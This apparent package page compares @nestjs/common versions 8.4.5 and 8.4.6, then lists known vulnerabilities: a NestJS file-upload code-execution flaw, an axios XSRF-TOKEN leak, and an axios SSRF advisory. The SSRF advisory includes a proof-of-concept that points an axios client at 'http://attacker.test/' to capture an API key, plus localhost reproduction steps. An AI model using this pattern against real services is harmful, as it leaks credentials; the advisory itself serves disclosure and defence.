NestJS developers looking to stay up-to-date should notice the subtle but important shift from version 8.4.5 to 8.4.6 of the @nestjs/common package. While the fundamental dependencies like uuid, axios, tslib, and iterare remain consistent, ensuring continued stability for core functionalities, there are changes under the hood. The peer dependencies – rxjs, cache-manager, class-validator, reflect-metadata, and class-transformer – also stay the same, indicating no breaking changes in the expected ecosystem.
The key difference lies in the package distribution details. Version 8.4.6, released on May 31, 2022, contains 354 files, a slight increase from the 352 files in version 8.4.5, which was released on May 13, 2022. The unpacked size also sees a minor increment, growing from 366,091 bytes to 366,524 bytes. While not massive, these changes suggest internal improvements, bug fixes, or potentially new features introduced in the newer version, though the package doesn't explicitly detail them. Developers should consider upgrading to benefit from these incremental improvements and fixes that contribute to the overall stability and performance of their NestJS applications. Checking the official NestJS changelog and commit history around the release date can provide more granular insights into the specific modifications between the two versions.
All the vulnerabilities related to the version 8.4.6 of the package
nest allows a remote attacker to execute arbitrary code via the Content-Type header
File Upload vulnerability in nestjs nest prior to v.11.0.16 allows a remote attacker to execute arbitrary code via the Content-Type header.
Axios Cross-Site Request Forgery Vulnerability
An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.
axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL
A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463
A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if baseURL
is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.
Consider the following code snippet:
import axios from "axios";
const internalAPIClient = axios.create({
baseURL: "http://example.test/api/v1/users/",
headers: {
"X-API-KEY": "1234567890",
},
});
// const userId = "123";
const userId = "http://attacker.test/";
await internalAPIClient.get(userId); // SSRF
In this example, the request is sent to http://attacker.test/
instead of the baseURL
. As a result, the domain owner of attacker.test
would receive the X-API-KEY
included in the request headers.
It is recommended that:
baseURL
is set, passing an absolute URL such as http://attacker.test/
to get()
should not ignore baseURL
.baseURL
with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL
.Follow the steps below to reproduce the issue:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
$ node main.js
this is server2
Even though baseURL
is set to http://localhost:10001/
, axios sends the request to http://localhost:10002/
.
baseURL
and does not validate path parameters is affected by this issue.